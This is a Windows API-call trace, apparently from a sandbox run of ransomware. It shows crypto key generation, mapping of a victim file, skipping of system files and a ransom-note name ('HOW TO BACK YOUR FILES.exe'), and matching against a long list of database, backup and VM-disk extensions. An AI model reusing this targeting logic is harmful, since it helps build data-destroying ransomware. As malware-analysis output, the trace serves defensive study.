	[0078.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfc50
	[0078.192] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0078.193] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.193] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.193] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0xd8
	[0078.206] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000
	[0078.211] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0078.211] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.211] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.211] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.212] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.212] CloseHandle (hObject=0xd8) returned 1
	[0078.212] CloseHandle (hObject=0x15c) returned 1
	[0078.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0078.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.213] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11446a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn", cAlternateFileName="MSINFO~1.HXN")) returned 1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".") returned 1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="..") returned 1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="windows") returned -1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="temp") returned -1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="boot") returned 1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.213] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn") returned 23
	[0078.213] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned 55
	[0078.213] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.INFOPATH.14.1033.hxn" | out: lpString1="MS.INFOPATH.14.1033.hxn") returned="MS.INFOPATH.14.1033.hxn"
	[0078.213] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn") returned 23
	[0078.213] lstrlenW (lpString="Apollon865") returned 10
	[0078.213] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.213] lstrlenW (lpString=".dll") returned 4
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".dll") returned 1
	[0078.213] lstrlenW (lpString=".lnk") returned 4
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.213] lstrlenW (lpString=".ini") returned 4
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".ini") returned 1
	[0078.213] lstrlenW (lpString=".sys") returned 4
	[0078.213] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".sys") returned 1
	[0078.213] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn") returned 23
	[0078.213] lstrlenW (lpString="bak") returned 3
	[0078.213] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.213] lstrlenW (lpString="ba_") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.214] lstrlenW (lpString="dbb") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.214] lstrlenW (lpString="vmdk") returned 4
	[0078.214] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.214] lstrlenW (lpString="rar") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.214] lstrlenW (lpString="zip") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.214] lstrlenW (lpString="tgz") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.214] lstrlenW (lpString="vbox") returned 4
	[0078.214] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.214] lstrlenW (lpString="vdi") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.214] lstrlenW (lpString="vhd") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.214] lstrlenW (lpString="vhdx") returned 4
	[0078.214] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.214] lstrlenW (lpString="avhd") returned 4
	[0078.214] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.214] lstrlenW (lpString="db") returned 2
	[0078.214] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.214] lstrlenW (lpString="db2") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.214] lstrlenW (lpString="db3") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.214] lstrlenW (lpString="dbf") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.214] lstrlenW (lpString="mdf") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.214] lstrlenW (lpString="mdb") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.214] lstrlenW (lpString="sql") returned 3
	[0078.214] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.214] lstrlenW (lpString="sqlite") returned 6
	[0078.214] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.215] lstrlenW (lpString="sqlite3") returned 7
	[0078.215] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.215] lstrlenW (lpString="sqlitedb") returned 8
	[0078.215] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.215] lstrlenW (lpString="xml") returned 3
	[0078.215] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.215] lstrlenW (lpString="$er") returned 3
	[0078.215] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.215] lstrlenW (lpString="4dd") returned 3
	[0078.215] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.215] lstrlenW (lpString="4dl") returned 3
	[0078.215] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.215] lstrlenW (lpString="^^^") returned 3
	[0078.215] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.215] lstrlenW (lpString="abs") returned 3
	[0078.215] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.215] lstrlenW (lpString="abx") returned 3
	[0078.215] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.215] lstrlenW (lpString="accdb") returned 5
	[0078.215] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.215] lstrlenW (lpString="accdc") returned 5
	[0078.215] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.215] lstrlenW (lpString="accde") returned 5
	[0078.215] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.215] lstrlenW (lpString="accdr") returned 5
	[0078.215] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.215] lstrlenW (lpString="accdt") returned 5
	[0078.215] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.215] lstrlenW (lpString="accdw") returned 5
	[0078.215] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.215] lstrlenW (lpString="accft") returned 5
	[0078.215] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.215] lstrlenW (lpString="adb") returned 3
	[0078.215] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.215] lstrlenW (lpString="adb") returned 3
	[0078.215] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.215] lstrlenW (lpString="ade") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.216] lstrlenW (lpString="adf") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.216] lstrlenW (lpString="adn") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.216] lstrlenW (lpString="adp") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.216] lstrlenW (lpString="alf") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.216] lstrlenW (lpString="ask") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.216] lstrlenW (lpString="btr") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.216] lstrlenW (lpString="cat") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.216] lstrlenW (lpString="cdb") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.216] lstrlenW (lpString="ckp") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.216] lstrlenW (lpString="cma") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.216] lstrlenW (lpString="cpd") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.216] lstrlenW (lpString="dacpac") returned 6
	[0078.216] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.216] lstrlenW (lpString="dad") returned 3
	[0078.216] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.216] lstrlenW (lpString="dadiagrams") returned 10
	[0078.216] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.216] lstrlenW (lpString="daschema") returned 8
	[0078.216] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.216] lstrlenW (lpString="db-journal") returned 10
	[0078.216] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.216] lstrlenW (lpString="db-shm") returned 6
	[0078.216] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.216] lstrlenW (lpString="db-wal") returned 6
	[0078.216] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.216] lstrlenW (lpString="dbc") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.217] lstrlenW (lpString="dbs") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.217] lstrlenW (lpString="dbt") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.217] lstrlenW (lpString="dbv") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.217] lstrlenW (lpString="dbx") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.217] lstrlenW (lpString="dcb") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.217] lstrlenW (lpString="dct") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.217] lstrlenW (lpString="dcx") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.217] lstrlenW (lpString="ddl") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.217] lstrlenW (lpString="dlis") returned 4
	[0078.217] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.217] lstrlenW (lpString="dp1") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.217] lstrlenW (lpString="dqy") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.217] lstrlenW (lpString="dsk") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.217] lstrlenW (lpString="dsn") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.217] lstrlenW (lpString="dtsx") returned 4
	[0078.217] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.217] lstrlenW (lpString="dxl") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.217] lstrlenW (lpString="eco") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.217] lstrlenW (lpString="ecx") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.217] lstrlenW (lpString="edb") returned 3
	[0078.217] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.218] lstrlenW (lpString="epim") returned 4
	[0078.218] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.218] lstrlenW (lpString="fcd") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.218] lstrlenW (lpString="fdb") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.218] lstrlenW (lpString="fic") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.218] lstrlenW (lpString="flexolibrary") returned 12
	[0078.218] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.218] lstrlenW (lpString="fm5") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.218] lstrlenW (lpString="fmp") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.218] lstrlenW (lpString="fmp12") returned 5
	[0078.218] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.218] lstrlenW (lpString="fmpsl") returned 5
	[0078.218] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.218] lstrlenW (lpString="fol") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.218] lstrlenW (lpString="fp3") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.218] lstrlenW (lpString="fp4") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.218] lstrlenW (lpString="fp5") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.218] lstrlenW (lpString="fp7") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.218] lstrlenW (lpString="fpt") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.218] lstrlenW (lpString="frm") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.218] lstrlenW (lpString="gdb") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.218] lstrlenW (lpString="gdb") returned 3
	[0078.218] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.218] lstrlenW (lpString="grdb") returned 4
	[0078.218] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.219] lstrlenW (lpString="gwi") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.219] lstrlenW (lpString="hdb") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.219] lstrlenW (lpString="his") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.219] lstrlenW (lpString="ib") returned 2
	[0078.219] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.219] lstrlenW (lpString="idb") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.219] lstrlenW (lpString="ihx") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.219] lstrlenW (lpString="itdb") returned 4
	[0078.219] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.219] lstrlenW (lpString="itw") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.219] lstrlenW (lpString="jet") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.219] lstrlenW (lpString="jtx") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.219] lstrlenW (lpString="kdb") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.219] lstrlenW (lpString="kexi") returned 4
	[0078.219] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.219] lstrlenW (lpString="kexic") returned 5
	[0078.219] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.219] lstrlenW (lpString="kexis") returned 5
	[0078.219] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.219] lstrlenW (lpString="lgc") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.219] lstrlenW (lpString="lwx") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.219] lstrlenW (lpString="maf") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.219] lstrlenW (lpString="maq") returned 3
	[0078.219] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.220] lstrlenW (lpString="mar") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.220] lstrlenW (lpString="marshal") returned 7
	[0078.220] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.220] lstrlenW (lpString="mas") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.220] lstrlenW (lpString="mav") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.220] lstrlenW (lpString="maw") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.220] lstrlenW (lpString="mdbhtml") returned 7
	[0078.220] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.220] lstrlenW (lpString="mdn") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.220] lstrlenW (lpString="mdt") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.220] lstrlenW (lpString="mfd") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.220] lstrlenW (lpString="mpd") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.220] lstrlenW (lpString="mrg") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.220] lstrlenW (lpString="mud") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.220] lstrlenW (lpString="mwb") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.220] lstrlenW (lpString="myd") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.220] lstrlenW (lpString="ndf") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.220] lstrlenW (lpString="nnt") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.220] lstrlenW (lpString="nrmlib") returned 6
	[0078.220] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.220] lstrlenW (lpString="ns2") returned 3
	[0078.220] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.220] lstrlenW (lpString="ns3") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.221] lstrlenW (lpString="ns4") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.221] lstrlenW (lpString="nsf") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.221] lstrlenW (lpString="nv") returned 2
	[0078.221] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.221] lstrlenW (lpString="nv2") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.221] lstrlenW (lpString="nwdb") returned 4
	[0078.221] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.221] lstrlenW (lpString="nyf") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.221] lstrlenW (lpString="odb") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.221] lstrlenW (lpString="odb") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.221] lstrlenW (lpString="oqy") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.221] lstrlenW (lpString="ora") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.221] lstrlenW (lpString="orx") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.221] lstrlenW (lpString="owc") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.221] lstrlenW (lpString="p96") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.221] lstrlenW (lpString="p97") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.221] lstrlenW (lpString="pan") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.221] lstrlenW (lpString="pdb") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.221] lstrlenW (lpString="pdm") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.221] lstrlenW (lpString="pnz") returned 3
	[0078.221] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.222] lstrlenW (lpString="qry") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.222] lstrlenW (lpString="qvd") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.222] lstrlenW (lpString="rbf") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.222] lstrlenW (lpString="rctd") returned 4
	[0078.222] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.222] lstrlenW (lpString="rod") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.222] lstrlenW (lpString="rodx") returned 4
	[0078.222] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.222] lstrlenW (lpString="rpd") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.222] lstrlenW (lpString="rsd") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.222] lstrlenW (lpString="sas7bdat") returned 8
	[0078.222] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.222] lstrlenW (lpString="sbf") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.222] lstrlenW (lpString="scx") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.222] lstrlenW (lpString="sdb") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.222] lstrlenW (lpString="sdc") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.222] lstrlenW (lpString="sdf") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.222] lstrlenW (lpString="sis") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.222] lstrlenW (lpString="spq") returned 3
	[0078.222] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.222] lstrlenW (lpString="te") returned 2
	[0078.222] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.222] lstrlenW (lpString="teacher") returned 7
	[0078.222] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.222] lstrlenW (lpString="tmd") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.223] lstrlenW (lpString="tps") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.223] lstrlenW (lpString="trc") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.223] lstrlenW (lpString="trc") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.223] lstrlenW (lpString="trm") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.223] lstrlenW (lpString="udb") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.223] lstrlenW (lpString="udl") returned 3
